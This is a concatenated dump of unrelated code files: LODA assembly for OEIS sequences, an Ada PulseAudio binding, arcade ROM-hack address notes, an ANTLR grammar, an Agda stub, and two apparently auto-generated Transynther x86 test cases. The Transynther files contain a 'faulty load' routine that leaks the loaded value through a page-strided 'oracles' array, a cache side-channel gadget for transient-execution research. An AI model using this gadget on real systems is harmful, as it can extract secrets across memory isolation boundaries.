{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}}
[Faulty Load]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': True, 'congruent': 10}}
{'52': 1253}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
oeis/118/A118738.asm | neoneye/loda-programs | 11 | 102397 | ; A118738: Number of ones in binary expansion of 5^n.
; 1,2,3,6,5,6,7,8,12,13,11,15,13,14,17,20,20,20,24,19,26,29,25,27,30,19,31,33,29,36,37,33,39,34,42,40,44,42,38,46,53,54,49,52,52,53,50,49,54,60,58,60,54,64,58,74,61,67,74,65,61,77,74,81,86,78,87,85,82,89,83,79,90,83,85,93,90,107,94,94,106,100,86,89,97,94,105,87,105,94,104,107,102,105,107,114,112,110,116,116
seq $0,199684 ; 4*10^n+1.
seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
sub $0,1
|
src/ada-pulse/src/pulse-mainloop-signal.ads | mstewartgallus/linted | 0 | 10044 | -- Copyright 2016 <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-- implied. See the License for the specific language governing
-- permissions and limitations under the License.
with System;
with Interfaces.C; use Interfaces.C;
limited with Pulse.Mainloop.API;
package Pulse.Mainloop.Signal with
Spark_Mode => Off is
-- skipped empty struct pa_signal_event
type pa_signal_cb_t is access procedure
(arg1 : access Pulse.Mainloop.API.pa_mainloop_api;
arg2 : System.Address;
arg3 : int;
arg4 : System.Address);
pragma Convention
(C,
pa_signal_cb_t); -- /usr/include/pulse/mainloop-signal.h:44
type pa_signal_destroy_cb_t is access procedure
(arg1 : access Pulse.Mainloop.API.pa_mainloop_api;
arg2 : System.Address;
arg3 : System.Address);
pragma Convention
(C,
pa_signal_destroy_cb_t); -- /usr/include/pulse/mainloop-signal.h:47
function pa_signal_init
(api : access Pulse.Mainloop.API.pa_mainloop_api)
return int; -- /usr/include/pulse/mainloop-signal.h:50
pragma Import (C, pa_signal_init, "pa_signal_init");
procedure pa_signal_done; -- /usr/include/pulse/mainloop-signal.h:53
pragma Import (C, pa_signal_done, "pa_signal_done");
function pa_signal_new
(sig : int;
callback : pa_signal_cb_t;
userdata : System.Address)
return System.Address; -- /usr/include/pulse/mainloop-signal.h:56
pragma Import (C, pa_signal_new, "pa_signal_new");
procedure pa_signal_free
(e : System.Address); -- /usr/include/pulse/mainloop-signal.h:59
pragma Import (C, pa_signal_free, "pa_signal_free");
procedure pa_signal_set_destroy
(e : System.Address;
callback : pa_signal_destroy_cb_t); -- /usr/include/pulse/mainloop-signal.h:62
pragma Import (C, pa_signal_set_destroy, "pa_signal_set_destroy");
end Pulse.Mainloop.Signal;
|
dino/lcs/enemy/7B.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 240173 | <reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data<gh_stars>1-10
copyright zengfr site:http://github.com/zengfr/romhack
010A7A move.b D0, ($7b,A3)
010A7E move.b D0, ($6,A3) [enemy+7B]
0110FA move.b D0, ($7b,A3)
0110FE move.b D0, ($6,A3) [enemy+7B]
0111E8 move.b D0, ($7b,A3)
0111EC move.b D0, ($6,A3) [enemy+7B]
011448 move.b D0, ($7b,A3)
01144C lea ($876,PC) ; ($11cc4), A6 [enemy+7B]
011520 move.b D0, ($7b,A3)
011524 lea ($79e,PC) ; ($11cc4), A6 [enemy+7B]
011BE8 move.b D0, ($7b,A3)
011BEC lea ($d6,PC) ; ($11cc4), A6 [enemy+7B]
011F4A move.b D0, ($7b,A3)
011F4E move.b D0, ($6,A3) [enemy+7B]
012296 move.b D0, ($7b,A3)
01229A move.b D0, ($6,A3) [enemy+7B]
012402 move.b D0, ($7b,A3)
012406 lea (-$744,PC) ; ($11cc4), A6 [enemy+7B]
012596 move.b D0, ($7b,A3)
01259A move.b D0, ($6,A3) [enemy+7B]
02A772 move.b #$4, ($7b,A6) [enemy+83]
02A778 move.b #$a, ($78,A6) [enemy+7B]
02A8FC move.b #$4, ($7b,A6) [enemy+83]
02A902 move.b #$a, ($78,A6) [enemy+7B]
02A9E6 move.b #$4, ($7b,A6)
02A9EC move.b #$a, ($78,A6) [enemy+7B]
02AC38 cmpi.b #$c, ($7b,A6)
02AC3E bne $2ac6e [enemy+7B]
02AD0A move.b #$4, ($7b,A6) [enemy+83]
02AD10 move.b #$a, ($78,A6) [enemy+7B]
02B204 move.b #$30, ($7b,A6)
02B20A cmpi.w #$48, ($20,A6) [enemy+7B]
02B46E move.b #$20, ($7b,A6)
02B474 bra $2b54e [enemy+7B]
033936 move.b D0, ($7b,A6)
03393A move.b D0, ($7d,A6)
033D38 move.b #$4, ($7b,A6) [enemy+51]
033D3E move.b #$a, ($78,A6) [enemy+7B]
033F5C cmpi.b #$4, ($7b,A6)
033F62 move.b #$0, ($7d,A6) [enemy+7B]
035A04 move.b D0, ($7b,A6)
035A08 move.b D0, ($7d,A6)
035D72 cmpi.b #$4, ($7b,A6)
035D78 bne $360c6 [enemy+7B]
03B886 move.b D0, ($7b,A6)
03B88A move.b D0, ($7d,A6)
03BC78 cmpi.b #$20, ($7b,A6)
03BC7E beq $3bff2 [enemy+7B]
03BFF2 clr.b ($7b,A6)
03BFF6 move.l #$2000800, ($4,A6) [enemy+7B]
03DEA8 move.b D0, ($7b,A6)
03DEAC move.b D0, ($7d,A6)
04036E move.b D0, ($7b,A6)
040372 move.b D0, ($7d,A6)
040908 cmpi.b #$4, ($7b,A6) [enemy+B8]
04090E bne $40938 [enemy+7B]
042642 move.b D0, ($7b,A6)
042646 move.b D0, ($7d,A6)
04295A cmpi.b #$4, ($7b,A6)
042960 bne $429aa [enemy+7B]
044EBA cmpi.b #$4, ($7b,A6)
044EC0 bne $44ee8 [enemy+7B]
045840 move.b D0, ($7b,A6)
045844 move.b D0, ($7d,A6)
0483DE move.b D0, ($7b,A6)
0483E2 move.b D0, ($a4,A6)
04D94E move.b D0, ($7b,A6)
04D952 move.b D0, ($7d,A6)
04DD58 move.b D0, ($7b,A6)
04DD5C move.b D0, ($7d,A6)
04FDB4 move.b D0, ($7b,A6)
04FDB8 move.b D0, ($7d,A6)
050450 move.b #$4, ($7b,A6) [enemy+51]
050456 move.b #$a, ($78,A6) [enemy+7B]
050FF8 move.b D0, ($7b,A6)
050FFC move.b D0, ($7d,A6)
05346C move.b D0, ($7b,A6)
053470 move.b #$c8, ($72,A6)
0578E6 move.b D0, ($7b,A6)
0578EA move.b D0, ($7d,A6)
058518 move.b D0, ($7b,A6)
05851C move.b #$ff, ($7d,A6)
058D68 cmpi.b #$4, ($7b,A6)
058D6E bne $5a186 [enemy+7B]
05AB0E move.b D0, ($7b,A6)
05AB12 move.b D0, ($7d,A6)
05B0D0 move.b D0, ($7b,A6)
05B0D4 move.b D0, ($7d,A6)
05B2CC cmpi.b #$4, ($7b,A6) [enemy+ 4, enemy+ 6]
05B2D2 beq $5b54a [enemy+7B]
05B2D6 cmpi.b #$30, ($7b,A6)
05B2DC beq $5b54a [enemy+7B]
05EFB2 cmpi.b #$4, ($7b,A0)
05EFB8 bne $5efe4 [enemy+7B]
05F3FC cmpi.b #$30, ($7b,A1)
05F402 beq $5f436 [enemy+7B]
05F636 move.b D0, ($7b,A6)
05F63A move.b D0, ($7d,A6)
copyright zengfr site:http://github.com/zengfr/romhack
|
libraries/botbuilder-lg/src/LGTemplateParser.g4 | Sutthipong/botbuilder-js | 0 | 3945 | <filename>libraries/botbuilder-lg/src/LGTemplateParser.g4
parser grammar LGTemplateParser;
options { tokenVocab=LGTemplateLexer; }
@header {/**
* @module botbuilder-lg
*/
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License.
*/}
template: body EOF;
body
: normalTemplateBody #normalBody
| ifElseTemplateBody #ifElseBody
| switchCaseTemplateBody #switchCaseBody
| structuredTemplateBody #structuredBody
;
structuredTemplateBody
: structuredBodyNameLine (((structuredBodyContentLine? STRUCTURED_NEWLINE) | errorStructureLine)+)? structuredBodyEndLine?
;
structuredBodyNameLine
: LEFT_SQUARE_BRACKET (STRUCTURE_NAME | errorStructuredName)
;
errorStructuredName
: (STRUCTURE_NAME|TEXT_IN_STRUCTURE_NAME)*
;
structuredBodyContentLine
: keyValueStructureLine
| objectStructureLine
;
errorStructureLine
: (STRUCTURE_IDENTIFIER|STRUCTURE_EQUALS|STRUCTURE_OR_MARK|TEXT_IN_STRUCTURE_BODY|EXPRESSION_IN_STRUCTURE_BODY|ESCAPE_CHARACTER_IN_STRUCTURE_BODY)+
;
keyValueStructureLine
: STRUCTURE_IDENTIFIER STRUCTURE_EQUALS keyValueStructureValue (STRUCTURE_OR_MARK keyValueStructureValue)*
;
keyValueStructureValue
: (TEXT_IN_STRUCTURE_BODY|EXPRESSION_IN_STRUCTURE_BODY|ESCAPE_CHARACTER_IN_STRUCTURE_BODY)+
;
objectStructureLine
: EXPRESSION_IN_STRUCTURE_BODY
;
structuredBodyEndLine
: STRUCTURED_BODY_END
;
normalTemplateBody
: templateString+
;
templateString
: normalTemplateString
| errorTemplateString
;
normalTemplateString
: DASH MULTILINE_PREFIX? (TEXT|EXPRESSION|ESCAPE_CHARACTER)* MULTILINE_SUFFIX?
;
errorTemplateString
: INVALID_TOKEN+
;
ifElseTemplateBody
: ifConditionRule+
;
ifConditionRule
: ifCondition normalTemplateBody?
;
ifCondition
: DASH (IF|ELSE|ELSEIF) (WS|TEXT|EXPRESSION)*
;
switchCaseTemplateBody
: switchCaseRule+
;
switchCaseRule
: switchCaseStat normalTemplateBody?
;
switchCaseStat
: DASH (SWITCH|CASE|DEFAULT) (WS|TEXT|EXPRESSION)*
;
|
Cubical/HITs/Wedge.agda | marcinjangrzybowski/cubical | 301 | 7365 | <filename>Cubical/HITs/Wedge.agda
{-# OPTIONS --safe #-}
module Cubical.HITs.Wedge where
open import Cubical.HITs.Wedge.Base public
|
programs/oeis/061/A061370.asm | jmorken/loda | 1 | 162846 | <gh_stars>1-10
; A061370: a(n) = floor(ratio of product and sum of first n numbers).
; 1,0,1,2,8,34,180,1120,8064,65978,604800,6141046,68428800,830269440,10897286400,153844043294,2324754432000,37440781904842,640237370572800,11585247657984000
mov $3,$0
add $0,2
mov $2,5
cal $3,142
mul $3,2
div $3,$0
lpb $0
cal $1,142
add $2,$3
add $4,$2
div $0,$4
add $0,5
gcd $0,7
add $2,11
mul $2,2
lpe
div $2,2
mul $1,$2
mul $1,6
sub $1,96
div $1,6
|
programs/oeis/018/A018215.asm | karttu/loda | 1 | 83142 | ; A018215: a(n) = n*4^n.
; 0,4,32,192,1024,5120,24576,114688,524288,2359296,10485760,46137344,201326592,872415232,3758096384,16106127360,68719476736,292057776128,1236950581248,5222680231936,21990232555520,92358976733184,387028092977152,1618481116086272,6755399441055744
mov $1,4
pow $1,$0
mul $1,$0
|
programs/oeis/042/A042974.asm | neoneye/loda | 22 | 3338 | <filename>programs/oeis/042/A042974.asm
; A042974: n 1's followed by a 2.
; 1,2,1,1,2,1,1,1,2,1,1,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1
add $0,2
lpb $0
sub $2,1
add $0,$2
lpe
bin $1,$0
add $1,1
mov $0,$1
|
programs/oeis/204/A204221.asm | neoneye/loda | 22 | 169606 | ; A204221: Integers of the form (n^2 - 1) / 15.
; 0,1,8,13,17,24,45,56,64,77,112,129,141,160,209,232,248,273,336,365,385,416,493,528,552,589,680,721,749,792,897,944,976,1025,1144,1197,1233,1288,1421,1480,1520,1581,1728,1793,1837,1904,2065,2136,2184,2257,2432,2509,2561,2640,2829,2912,2968,3053,3256,3345,3405,3496,3713,3808,3872,3969,4200,4301,4369,4472,4717,4824,4896,5005,5264,5377,5453,5568,5841,5960,6040,6161,6448,6573,6657,6784,7085,7216,7304,7437,7752,7889,7981,8120,8449,8592,8688,8833,9176,9325
seq $0,204542 ; Numbers that are congruent to {1, 4, 11, 14} mod 15.
pow $0,2
div $0,15
|
programs/oeis/129/A129195.asm | jmorken/loda | 1 | 167862 | ; A129195: a(n)=denominator(n!/4^n).
; 1,4,8,32,32,128,256,1024,512,2048,4096,16384,16384,65536,131072,524288,131072,524288,1048576,4194304,4194304,16777216,33554432,134217728,67108864,268435456,536870912,2147483648
mov $1,6
mov $2,$0
add $2,$0
lpb $2
div $0,2
mul $1,2
sub $2,$0
sub $2,1
lpe
sub $1,6
div $1,6
add $1,1
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_449.asm | ljhsiun2/medusa | 9 | 17600 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xc19c, %rsi
lea addresses_D_ht+0xa39c, %rdi
nop
nop
sub %r12, %r12
mov $75, %rcx
rep movsw
nop
dec %r9
lea addresses_D_ht+0x1199c, %rsi
lea addresses_WT_ht+0x77fc, %rdi
nop
nop
nop
nop
sub %r11, %r11
mov $67, %rcx
rep movsq
nop
nop
nop
nop
nop
mfence
lea addresses_UC_ht+0x11ec, %rsi
lea addresses_UC_ht+0x1499c, %rdi
cmp %r12, %r12
mov $69, %rcx
rep movsw
nop
nop
nop
nop
cmp $65071, %rdi
lea addresses_WC_ht+0x1b2dc, %rsi
lea addresses_D_ht+0x4d9c, %rdi
nop
nop
nop
nop
and %r15, %r15
mov $56, %rcx
rep movsb
nop
nop
nop
cmp $5022, %rcx
lea addresses_WC_ht+0xf49c, %rcx
nop
nop
nop
nop
nop
cmp %rdi, %rdi
movl $0x61626364, (%rcx)
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_A_ht+0x8d9c, %rdi
nop
nop
and %r11, %r11
mov (%rdi), %r9d
nop
nop
nop
nop
dec %r12
lea addresses_UC_ht+0xa054, %rsi
lea addresses_UC_ht+0xd9c, %rdi
nop
nop
nop
sub %rax, %rax
mov $52, %rcx
rep movsb
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_normal_ht+0x1b29c, %rax
nop
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %r15
movq %r15, (%rax)
nop
nop
nop
nop
nop
inc %r12
lea addresses_WT_ht+0x15bac, %rsi
lea addresses_UC_ht+0x14e1c, %rdi
clflush (%rdi)
nop
dec %r15
mov $81, %rcx
rep movsw
nop
nop
xor $59216, %r11
lea addresses_UC_ht+0x1607c, %rsi
lea addresses_WT_ht+0x33ec, %rdi
nop
nop
nop
and $2564, %r9
mov $81, %rcx
rep movsw
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x17c1c, %rsi
lea addresses_A_ht+0x18aac, %rdi
clflush (%rsi)
inc %r9
mov $47, %rcx
rep movsl
nop
sub $2087, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_RW+0x1479c, %rbp
clflush (%rbp)
nop
nop
nop
nop
nop
add $14206, %rdx
movw $0x5152, (%rbp)
nop
inc %r12
// Store
lea addresses_WT+0x1301c, %rcx
inc %rdi
mov $0x5152535455565758, %rbp
movq %rbp, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
dec %rbp
// Store
lea addresses_D+0x82a, %r12
nop
nop
nop
nop
nop
sub %rbp, %rbp
movb $0x51, (%r12)
nop
nop
nop
nop
add $11804, %rbp
// Load
lea addresses_WT+0x15f9c, %rbp
nop
nop
nop
nop
cmp %r9, %r9
mov (%rbp), %r10w
nop
xor %rcx, %rcx
// Faulty Load
mov $0x1c6170000000d9c, %r12
nop
nop
nop
nop
nop
dec %rcx
mov (%r12), %dx
lea oracles, %rdi
and $0xff, %rdx
shlq $12, %rdx
mov (%rdi,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
